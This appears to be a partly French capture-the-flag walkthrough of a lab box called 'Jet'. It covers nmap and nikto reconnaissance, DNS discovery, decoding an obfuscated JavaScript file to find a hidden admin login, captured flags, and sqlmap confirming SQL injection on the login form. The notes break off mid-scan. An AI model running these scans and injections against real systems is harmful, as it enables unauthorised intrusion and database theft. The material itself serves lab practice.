Jet
Not shown: 65524 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 62:f6:49:80:81:cf:f0:07:0e:5a:ad:e9:8e:1f:2b:7c (RSA)
| 256 54:e2:7e:5a:1c:aa:9a:ab:65:ca:fa:39:28:bc:0a:43 (ECDSA)
|_ 256 93:bc:37:b7:e0:08:ce:2d:03:99:01:0a:a9:df:da:cd (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Welcome to nginx on Debian!
5555/tcp open freeciv?
| fingerprint-strings:
| DNSVersionBindReqTCP, GenericLines, GetRequest, adbConnect:
| enter your name:
| [31mMember manager!
| edit
| change name
| gift
| exit
| NULL:
| enter your name:
| SMBProgNeg:
| enter your name:
| [31mMember manager!
| edit
| change name
| gift
| exit
| invalid option!
| [31mMember manager!
| edit
| change name
| gift
| exit
| invalid option!
| [31mMember manager!
| edit
| change name
| gift
| exit
| invalid option!
| [31mMember manager!
| edit
| change name
| gift
| exit
| invalid option!
| [31mMember manager!
| edit
| change name
| gift
| exit
| invalid option!
| [31mMember manager!
| edit
| change name
| gift
| exit
| invalid option!
| [31mMember manager!
| edit
| change name
| gift
| exit
| invalid option!
| [31mMember manager!
| edit
| change name
| gift
| exit
| invalid option!
| [31mMember manager!
| edit
| change name
| gift
| exit
|_ invalid option!
6000/tcp open X11?
| fingerprint-strings:
| DNSStatusRequestTCP:
| Oops, I'm leaking! 0x7fff865bb260
| DNSVersionBindReqTCP:
| Oops, I'm leaking! 0x7fffdcdf56e0
| FourOhFourRequest:
| Oops, I'm leaking! 0x7ffd755bf700
| GenericLines:
| Oops, I'm leaking! 0x7ffc0d455ad0
| GetRequest:
| Oops, I'm leaking! 0x7ffc0d1b32f0
| HTTPOptions, NULL:
| Oops, I'm leaking! 0x7fffda4b7290
| Help:
| Oops, I'm leaking! 0x7ffd9147fa90
| Kerberos:
| Oops, I'm leaking! 0x7ffd97732020
| RPCCheck:
| Oops, I'm leaking! 0x7fff29ae6060
| RTSPRequest:
| Oops, I'm leaking! 0x7ffedd32a1d0
| SMBProgNeg:
| Oops, I'm leaking! 0x7ffca59744f0
| SSLSessionReq:
| Oops, I'm leaking! 0x7ffc2e800ac0
| TLSSessionReq:
| Oops, I'm leaking! 0x7ffd12027d70
| TerminalServerCookie:
| Oops, I'm leaking! 0x7ffd97f10f50
| X11Probe:
|_ Oops, I'm leaking! 0x7fff1926cd70
6093/tcp open unknown
6193/tcp open tcpwrapped
7777/tcp open cbt?
| fingerprint-strings:
| Arucer, DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, Socks5, X11Probe:
| --==[[ Spiritual Memo ]]==--
| Create a memo
| Show memo
| Delete memo
| Can't you read mate?
| NULL:
| --==[[ Spiritual Memo ]]==--
| Create a memo
| Show memo
|_ Delete memo
9201/tcp open http BaseHTTPServer 0.3 (Python 2.7.12)
| http-methods:
|_ Supported Methods: GET
|_http-title: Site doesn't have a title (application/json).
9310/tcp open sapms?
9999/tcp open abyss?
| fingerprint-strings:
| DNSStatusRequestTCP:
| ^@^L^@^@^P^@^@^@^@^@^@^@^@^@Oops, I'm leaking! 0x7ffe647d4100
| DNSVersionBindReqTCP:
| ^COops, I'm leaking! 0x7ffcfd64daf0
| FourOhFourRequest:
| GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0
| Oops, I'm leaking! 0x7ffceb630790
| GenericLines:
| Oops, I'm leaking! 0x7ffd8cfe6aa0
| GetRequest:
| Oops, I'm leaking! 0x7ffd0f271040
| HTTP/1.0
| HTTPOptions:
| OPTIONS / HTTP/1.0
| Oops, I'm leaking! 0x7ffc5cd155e0
| Help:
| HELP
| Oops, I'm leaking! 0x7ffd4b4a29b0
| JavaRMI:
| JRMI^@^BKOops, I'm leaking! 0x7ffc82b2f2c0
| Kerberos:
| ^C^B^A^@
| ^N0^L^[^Fkrbtgt^[^BNM
| ^X^O19700101000000Z
| ^F^B^_^^
| ^B^A^R^C^B^A^BOops, I'm leaking! 0x7ffe68f0a4d0
| NULL:
| Oops, I'm leaking! 0x7ffd0f271040
| RTSPRequest:
| OPTIONS / RTSP/1.0
| Oops, I'm leaking! 0x7ffd2a116570
| SSLSessionReq:
| Oops, I'm leaking! 0x7ffdfb9795a0
| ^C^A^@
| TLSSessionReq:
| ^C^E^BOops, I'm leaking! 0x7ffd08250170
| TerminalServerCookie:
|_ ^C^@^@^@Oops, I'm leaking! 0x7ffeee3d6120
4 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5555-TCP:V=7.94%I=7%D=11/27%Time=6564A58E%P=x86_64-pc-linux-gnu%r(N
SF:ULL,11,"enter\x20your\x20name:\n")%r(GenericLines,63,"enter\x20your\x20
SF:name:\n\x1b\[31mMember\x20manager!\x1b\[0m\n1\.\x20add\n2\.\x20edit\n3\
SF:.\x20ban\n4\.\x20change\x20name\n5\.\x20get\x20gift\n6\.\x20exit\n")%r(
SF:DNSVersionBindReqTCP,63,"enter\x20your\x20name:\n\x1b\[31mMember\x20man
SF:ager!\x1b\[0m\n1\.\x20add\n2\.\x20edit\n3\.\x20ban\n4\.\x20change\x20na
SF:me\n5\.\x20get\x20gift\n6\.\x20exit\n")%r(SMBProgNeg,9D1,"enter\x20your
SF:\x20name:\n\x1b\[31mMember\x20manager!\x1b\[0m\n1\.\x20add\n2\.\x20edit
SF:\n3\.\x20ban\n4\.\x20change\x20name\n5\.\x20get\x20gift\n6\.\x20exit\ni
SF:nvalid\x20option!\n\x1b\[31mMember\x20manager!\x1b\[0m\n1\.\x20add\n2\.
SF:\x20edit\n3\.\x20ban\n4\.\x20change\x20name\n5\.\x20get\x20gift\n6\.\x2
SF:0exit\ninvalid\x20option!\n\x1b\[31mMember\x20manager!\x1b\[0m\n1\.\x20
SF:add\n2\.\x20edit\n3\.\x20ban\n4\.\x20change\x20name\n5\.\x20get\x20gift
SF:\n6\.\x20exit\ninvalid\x20option!\n\x1b\[31mMember\x20manager!\x1b\[0m\
SF:n1\.\x20add\n2\.\x20edit\n3\.\x20ban\n4\.\x20change\x20name\n5\.\x20get
SF:\x20gift\n6\.\x20exit\ninvalid\x20option!\n\x1b\[31mMember\x20manager!\
SF:x1b\[0m\n1\.\x20add\n2\.\x20edit\n3\.\x20ban\n4\.\x20change\x20name\n5\
SF:.\x20get\x20gift\n6\.\x20exit\ninvalid\x20option!\n\x1b\[31mMember\x20m
SF:anager!\x1b\[0m\n1\.\x20add\n2\.\x20edit\n3\.\x20ban\n4\.\x20change\x20
SF:name\n5\.\x20get\x20gift\n6\.\x20exit\ninvalid\x20option!\n\x1b\[31mMem
SF:ber\x20manager!\x1b\[0m\n1\.\x20add\n2\.\x20edit\n3\.\x20ban\n4\.\x20ch
SF:ange\x20name\n5\.\x20get\x20gift\n6\.\x20exit\ninvalid\x20option!\n\x1b
SF:\[31mMember\x20manager!\x1b\[0m\n1\.\x20add\n2\.\x20edit\n3\.\x20ban\n4
SF:\.\x20change\x20name\n5\.\x20get\x20gift\n6\.\x20exit\ninvalid\x20optio
SF:n!\n\x1b\[31mMember\x20manager!\x1b\[0m\n1\.\x20add\n2\.\x20edit\n3\.\x
SF:20ban\n4\.\x20change\x20name\n5\.\x20get\x20gift\n6\.\x20exit\ninvalid\
SF:x20option!\n\x1b")%r(adbConnect,63,"enter\x20your\x20name:\n\x1b\[31mMe
SF:mber\x20manager!\x1b\[0m\n1\.\x20add\n2\.\x20edit\n3\.\x20ban\n4\.\x20c
SF:hange\x20name\n5\.\x20get\x20gift\n6\.\x20exit\n")%r(GetRequest,63,"ent
SF:er\x20your\x20name:\n\x1b\[31mMember\x20manager!\x1b\[0m\n1\.\x20add\n2
SF:\.\x20edit\n3\.\x20ban\n4\.\x20change\x20name\n5\.\x20get\x20gift\n6\.\
SF:x20exit\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port6000-TCP:V=7.94%I=7%D=11/27%Time=6564A58E%P=x86_64-pc-linux-gnu%r(N
SF:ULL,3A,"Oops,\x20I'm\x20leaking!\x200x7fffda4b7290\nPwn\x20me\x20\xc2\x
SF:af\\_\(\xe3\x83\x84\)_/\xc2\xaf\x20\n>\x20")%r(HTTPOptions,3A,"Oops,\x2
SF:0I'm\x20leaking!\x200x7fffda4b7290\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\
SF:x84\)_/\xc2\xaf\x20\n>\x20")%r(X11Probe,3A,"Oops,\x20I'm\x20leaking!\x2
SF:00x7fff1926cd70\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84\)_/\xc2\xaf\x20
SF:\n>\x20")%r(GenericLines,3A,"Oops,\x20I'm\x20leaking!\x200x7ffc0d455ad0
SF:\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84\)_/\xc2\xaf\x20\n>\x20")%r(Get
SF:Request,3A,"Oops,\x20I'm\x20leaking!\x200x7ffc0d1b32f0\nPwn\x20me\x20\x
SF:c2\xaf\\_\(\xe3\x83\x84\)_/\xc2\xaf\x20\n>\x20")%r(RTSPRequest,3A,"Oops
SF:,\x20I'm\x20leaking!\x200x7ffedd32a1d0\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\
SF:x83\x84\)_/\xc2\xaf\x20\n>\x20")%r(RPCCheck,3A,"Oops,\x20I'm\x20leaking
SF:!\x200x7fff29ae6060\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84\)_/\xc2\xaf
SF:\x20\n>\x20")%r(DNSVersionBindReqTCP,3A,"Oops,\x20I'm\x20leaking!\x200x
SF:7fffdcdf56e0\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84\)_/\xc2\xaf\x20\n>
SF:\x20")%r(DNSStatusRequestTCP,3A,"Oops,\x20I'm\x20leaking!\x200x7fff865b
SF:b260\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84\)_/\xc2\xaf\x20\n>\x20")%r
SF:(Help,3A,"Oops,\x20I'm\x20leaking!\x200x7ffd9147fa90\nPwn\x20me\x20\xc2
SF:\xaf\\_\(\xe3\x83\x84\)_/\xc2\xaf\x20\n>\x20")%r(SSLSessionReq,3A,"Oops
SF:,\x20I'm\x20leaking!\x200x7ffc2e800ac0\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\
SF:x83\x84\)_/\xc2\xaf\x20\n>\x20")%r(TerminalServerCookie,3A,"Oops,\x20I'
SF:m\x20leaking!\x200x7ffd97f10f50\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84
SF:\)_/\xc2\xaf\x20\n>\x20")%r(TLSSessionReq,3A,"Oops,\x20I'm\x20leaking!\
SF:x200x7ffd12027d70\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84\)_/\xc2\xaf\x
SF:20\n>\x20")%r(Kerberos,3A,"Oops,\x20I'm\x20leaking!\x200x7ffd97732020\n
SF:Pwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84\)_/\xc2\xaf\x20\n>\x20")%r(SMBPr
SF:ogNeg,3A,"Oops,\x20I'm\x20leaking!\x200x7ffca59744f0\nPwn\x20me\x20\xc2
SF:\xaf\\_\(\xe3\x83\x84\)_/\xc2\xaf\x20\n>\x20")%r(FourOhFourRequest,3A,"
SF:Oops,\x20I'm\x20leaking!\x200x7ffd755bf700\nPwn\x20me\x20\xc2\xaf\\_\(\
SF:xe3\x83\x84\)_/\xc2\xaf\x20\n>\x20");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port7777-TCP:V=7.94%I=7%D=11/27%Time=6564A58E%P=x86_64-pc-linux-gnu%r(N
SF:ULL,5D,"\n--==\[\[\x20Spiritual\x20Memo\x20\]\]==--\n\n\[1\]\x20Create\
SF:x20a\x20memo\n\[2\]\x20Show\x20memo\n\[3\]\x20Delete\x20memo\n\[4\]\x20
SF:Tap\x20out\n>\x20")%r(X11Probe,71,"\n--==\[\[\x20Spiritual\x20Memo\x20\
SF:]\]==--\n\n\[1\]\x20Create\x20a\x20memo\n\[2\]\x20Show\x20memo\n\[3\]\x
SF:20Delete\x20memo\n\[4\]\x20Tap\x20out\n>\x20Can't\x20you\x20read\x20mat
SF:e\?")%r(Socks5,71,"\n--==\[\[\x20Spiritual\x20Memo\x20\]\]==--\n\n\[1\]
SF:\x20Create\x20a\x20memo\n\[2\]\x20Show\x20memo\n\[3\]\x20Delete\x20memo
SF:\n\[4\]\x20Tap\x20out\n>\x20Can't\x20you\x20read\x20mate\?")%r(Arucer,7
SF:1,"\n--==\[\[\x20Spiritual\x20Memo\x20\]\]==--\n\n\[1\]\x20Create\x20a\
SF:x20memo\n\[2\]\x20Show\x20memo\n\[3\]\x20Delete\x20memo\n\[4\]\x20Tap\x
SF:20out\n>\x20Can't\x20you\x20read\x20mate\?")%r(GenericLines,71,"\n--==\
SF:[\[\x20Spiritual\x20Memo\x20\]\]==--\n\n\[1\]\x20Create\x20a\x20memo\n\
SF:[2\]\x20Show\x20memo\n\[3\]\x20Delete\x20memo\n\[4\]\x20Tap\x20out\n>\x
SF:20Can't\x20you\x20read\x20mate\?")%r(GetRequest,71,"\n--==\[\[\x20Spiri
SF:tual\x20Memo\x20\]\]==--\n\n\[1\]\x20Create\x20a\x20memo\n\[2\]\x20Show
SF:\x20memo\n\[3\]\x20Delete\x20memo\n\[4\]\x20Tap\x20out\n>\x20Can't\x20y
SF:ou\x20read\x20mate\?")%r(HTTPOptions,71,"\n--==\[\[\x20Spiritual\x20Mem
SF:o\x20\]\]==--\n\n\[1\]\x20Create\x20a\x20memo\n\[2\]\x20Show\x20memo\n\
SF:[3\]\x20Delete\x20memo\n\[4\]\x20Tap\x20out\n>\x20Can't\x20you\x20read\
SF:x20mate\?")%r(RTSPRequest,71,"\n--==\[\[\x20Spiritual\x20Memo\x20\]\]==
SF:--\n\n\[1\]\x20Create\x20a\x20memo\n\[2\]\x20Show\x20memo\n\[3\]\x20Del
SF:ete\x20memo\n\[4\]\x20Tap\x20out\n>\x20Can't\x20you\x20read\x20mate\?")
SF:%r(RPCCheck,71,"\n--==\[\[\x20Spiritual\x20Memo\x20\]\]==--\n\n\[1\]\x2
SF:0Create\x20a\x20memo\n\[2\]\x20Show\x20memo\n\[3\]\x20Delete\x20memo\n\
SF:[4\]\x20Tap\x20out\n>\x20Can't\x20you\x20read\x20mate\?")%r(DNSVersionB
SF:indReqTCP,71,"\n--==\[\[\x20Spiritual\x20Memo\x20\]\]==--\n\n\[1\]\x20C
SF:reate\x20a\x20memo\n\[2\]\x20Show\x20memo\n\[3\]\x20Delete\x20memo\n\[4
SF:\]\x20Tap\x20out\n>\x20Can't\x20you\x20read\x20mate\?")%r(DNSStatusRequ
SF:estTCP,71,"\n--==\[\[\x20Spiritual\x20Memo\x20\]\]==--\n\n\[1\]\x20Crea
SF:te\x20a\x20memo\n\[2\]\x20Show\x20memo\n\[3\]\x20Delete\x20memo\n\[4\]\
SF:x20Tap\x20out\n>\x20Can't\x20you\x20read\x20mate\?");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port9999-TCP:V=7.94%I=7%D=11/27%Time=6564A58E%P=x86_64-pc-linux-gnu%r(N
SF:ULL,3C,"Oops,\x20I'm\x20leaking!\x200x7ffd0f271040\r\nPwn\x20me\x20\xc2
SF:\xaf\\_\(\xe3\x83\x84\)_/\xc2\xaf\x20\r\n>\x20")%r(GetRequest,52,"Oops,
SF:\x20I'm\x20leaking!\x200x7ffd0f271040\r\nPwn\x20me\x20\xc2\xaf\\_\(\xe3
SF:\x83\x84\)_/\xc2\xaf\x20\r\n>\x20GET\x20/\x20HTTP/1\.0\r\n\r\n\r\n\r\n"
SF:)%r(HTTPOptions,56,"OPTIONS\x20/\x20HTTP/1\.0\r\n\r\n\r\n\r\nOops,\x20I
SF:'m\x20leaking!\x200x7ffc5cd155e0\r\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\
SF:x84\)_/\xc2\xaf\x20\r\n>\x20")%r(FourOhFourRequest,75,"GET\x20/nice%20p
SF:orts%2C/Tri%6Eity\.txt%2ebak\x20HTTP/1\.0\r\n\r\n\r\n\r\nOops,\x20I'm\x
SF:20leaking!\x200x7ffceb630790\r\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84\
SF:)_/\xc2\xaf\x20\r\n>\x20")%r(JavaRMI,45,"JRMI\^@\^BKOops,\x20I'm\x20lea
SF:king!\x200x7ffc82b2f2c0\r\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84\)_/\x
SF:c2\xaf\x20\r\n>\x20")%r(GenericLines,44,"\r\n\r\n\r\n\r\nOops,\x20I'm\x
SF:20leaking!\x200x7ffd8cfe6aa0\r\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84\
SF:)_/\xc2\xaf\x20\r\n>\x20")%r(RTSPRequest,56,"OPTIONS\x20/\x20RTSP/1\.0\
SF:r\n\r\n\r\n\r\nOops,\x20I'm\x20leaking!\x200x7ffd2a116570\r\nPwn\x20me\
SF:x20\xc2\xaf\\_\(\xe3\x83\x84\)_/\xc2\xaf\x20\r\n>\x20")%r(DNSVersionBin
SF:dReqTCP,3E,"\^COops,\x20I'm\x20leaking!\x200x7ffcfd64daf0\r\nPwn\x20me\
SF:x20\xc2\xaf\\_\(\xe3\x83\x84\)_/\xc2\xaf\x20\r\n>\x20")%r(DNSStatusRequ
SF:estTCP,58,"\^@\^L\^@\^@\^P\^@\^@\^@\^@\^@\^@\^@\^@\^@Oops,\x20I'm\x20le
SF:aking!\x200x7ffe647d4100\r\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84\)_/\
SF:xc2\xaf\x20\r\n>\x20")%r(Help,44,"HELP\r\n\r\nOops,\x20I'm\x20leaking!\
SF:x200x7ffd4b4a29b0\r\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84\)_/\xc2\xaf
SF:\x20\r\n>\x20")%r(SSLSessionReq,42,"Oops,\x20I'm\x20leaking!\x200x7ffdf
SF:b9795a0\r\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84\)_/\xc2\xaf\x20\r\n>\
SF:x20\^C\^A\^@")%r(TerminalServerCookie,44,"\^C\^@\^@\^@Oops,\x20I'm\x20l
SF:eaking!\x200x7ffeee3d6120\r\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84\)_/
SF:\xc2\xaf\x20\r\n>\x20")%r(TLSSessionReq,42,"\^C\^E\^BOops,\x20I'm\x20le
SF:aking!\x200x7ffd08250170\r\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84\)_/\
SF:xc2\xaf\x20\r\n>\x20")%r(Kerberos,A1,"\^C\^B\^A\^@\xa1\^N0\^L\^\[\^Fkrb
SF:tgt\^\[\^BNM\xa5\^X\^O19700101000000Z\xa7\^F\^B\^_\^\^\xb9\xd9\xa8\x08\
SF:x20\x08\x08\x20\x080\x08\x20\x08\x08\x20\x08\x08\x20\x08\x08\x20\x08\x0
SF:8\x20\x08\x08\x20\x08\^B\^A\^R\^C\^B\^A\^BOops,\x20I'm\x20leaking!\x200
SF:x7ffe68f0a4d0\r\nPwn\x20me\x20\xc2\xaf\\_\(\xe3\x83\x84\)_/\xc2\xaf\x20
SF:\r\n>\x20");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 15:23
Completed NSE at 15:23, 0.00s elapsed
Initiating NSE at 15:23
Completed NSE at 15:23, 0.00s elapsed
Initiating NSE at 15:23
Completed NSE at 15:23, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 252.69 seconds
└─$ nikto -h http://10.13.37.10/
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 10.13.37.10
+ Target Hostname: 10.13.37.10
+ Target Port: 80
+ Start Time: 2023-11-27 15:22:20 (GMT1)
---------------------------------------------------------------------------
+ Server: nginx/1.10.3 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ nginx/1.10.3 appears to be outdated (current is at least 1.20.1).
open web page on port 80 and get the first flag: JET{s4n1ty_ch3ck}
┌──(alesio㉿Alesio)-[~]
└─$ ping -c 1 10.13.37.10
PING 10.13.37.10 (10.13.37.10) 56(84) bytes of data.
64 bytes from 10.13.37.10: icmp_seq=1 ttl=63 time=77.4 ms
--- 10.13.37.10 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 77.427/77.427/77.427/0.000 ms
ttl=63 c'est donc une machine Linux
┌──(alesio㉿Alesio)-[~]
└─$ dig @10.13.37.10 -x 10.13.37.10
; <<>> DiG 9.19.17-2~kali1-Kali <<>> @10.13.37.10 -x 10.13.37.10
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 22422
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;10.37.13.10.in-addr.arpa. IN PTR
;; AUTHORITY SECTION:
37.13.10.in-addr.arpa. 604800 IN SOA www.securewebinc.jet. securewebinc.jet. 3 604800 86400 2419200 604800
;; Query time: 70 msec
;; SERVER: 10.13.37.10#53(10.13.37.10) (UDP)
;; WHEN: Sat Dec 23 02:55:05 CET 2023
;; MSG SIZE rcvd: 109
here we can see the domaine named: www.securewebinc.jet. securewebinc.jet.
descendre sur le site web du nom de domaine port 80 est reccuperer le flag JET{w3lc0me_4nd_h@v3_fun!}
we can found a file secure.js on the website
102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 83, 116, 97, 116, 115, 40, 41, 10, 123, 10, 32, 32, 32, 32, 36, 46, 97, 106, 97, 120, 40, 123, 117, 114, 108, 58, 32, 34, 47, 100, 105, 114, 98, 95, 115, 97, 102, 101, 95, 100, 105, 114, 95, 114, 102, 57, 69, 109, 99, 69, 73, 120, 47, 97, 100, 109, 105, 110, 47, 115, 116, 97, 116, 115, 46, 112, 104, 112, 34, 44, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 117, 99, 99, 101, 115, 115, 58, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 114, 101, 115, 117, 108, 116, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 36, 40, 39, 35, 97, 116, 116, 97, 99, 107, 115, 39, 41, 46, 104, 116, 109, 108, 40, 114, 101, 115, 117, 108, 116, 41, 10, 32, 32, 32, 32, 125, 44, 10, 32, 32, 32, 32, 101, 114, 114, 111, 114, 58, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 114, 101, 115, 117, 108, 116, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 99, 111, 110, 115, 111, 108, 101, 46, 108, 111, 103, 40, 114, 101, 115, 117, 108, 116, 41, 59, 10, 32, 32, 32, 32, 125, 125, 41, 59, 10, 125, 10, 103, 101, 116, 83, 116, 97, 116, 115, 40, 41, 59, 10, 115, 101, 116, 73, 110, 116, 101, 114, 118, 97, 108, 40, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 32, 103, 101, 116, 83, 116, 97, 116, 115, 40, 41, 59, 32, 125, 44, 32, 49, 48, 48, 48, 48, 41, 59
function getStats()
{
$.ajax({url: "/dirb_safe_dir_rf9EmcEIx/admin/stats.php",
success: function(result){
$('#attacks').html(result)
},
error: function(result){
console.log(result);
}});
}
getStats();
setInterval(function(){ getStats(); }, 10000);
-> http://www.securewebinc.jet//dirb_safe_dir_rf9EmcEIx/admin/login.php
code source de la page: flag -> JET{s3cur3_js_w4s_not_s0_s3cur3_4ft3r4ll}
dirb the login POST request, get the raw request and create a file with it.
POST /dirb_safe_dir_rf9EmcEIx/admin/dologin.php HTTP/1.1
Host: www.securewebinc.jet
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: http://www.securewebinc.jet
Connection: close
Referer: http://www.securewebinc.jet//dirb_safe_dir_rf9EmcEIx/admin/login.php
Cookie: PHPSESSID=dr51nljjg25jhd9j2j60ngl7r2
Upgrade-Insecure-Requests: 1
username=qwer&password=qwer
run sqlmap with the file login:
┌──(alesio㉿Alesio)-[~/Jet]
└─$ sqlmap -r login -schema
___
__H__
___ ___[,]_____ ___ ___ {1.7.12#stable}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 03:10:24 /2023-12-23/
[03:10:24] [INFO] parsing HTTP request from 'login'
[03:10:24] [INFO] testing connection to the target URL
got a 302 redirect to 'http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/login.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[03:10:43] [INFO] checking if the target is protected by some kind of WAF/IPS
[03:10:44] [INFO] testing if the target URL content is stable
[03:10:44] [WARNING] POST parameter 'username' does not appear to be dynamic
[03:10:45] [INFO] heuristic (basic) test shows that POST parameter 'username' might be injectable (possible DBMS: 'MySQL')
[03:10:45] [INFO] testing for SQL injection on POST parameter 'username'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[03:10:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:10:59] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[03:11:00] [INFO] testing 'Generic inline queries'
[03:11:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[03:11:09] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[03:11:24] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[03:11:26] [INFO] POST parameter 'username' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' injectable (with --string=" Unknown user ")
[03:11:26] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[03:11:26] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[03:11:26] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[03:11:27] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[03:11:27] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[03:11:28] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[03:11:28] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[03:11:29] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[03:11:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[03:11:30] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[03:11:30] [INFO] POST parameter 'username' is 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[03:11:30] [INFO] testing 'MySQL inline queries'
[03:11:30] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[03:11:31] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[03:11:31] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[03:11:32] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[03:11:32] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[03:11:33] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[03:11:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
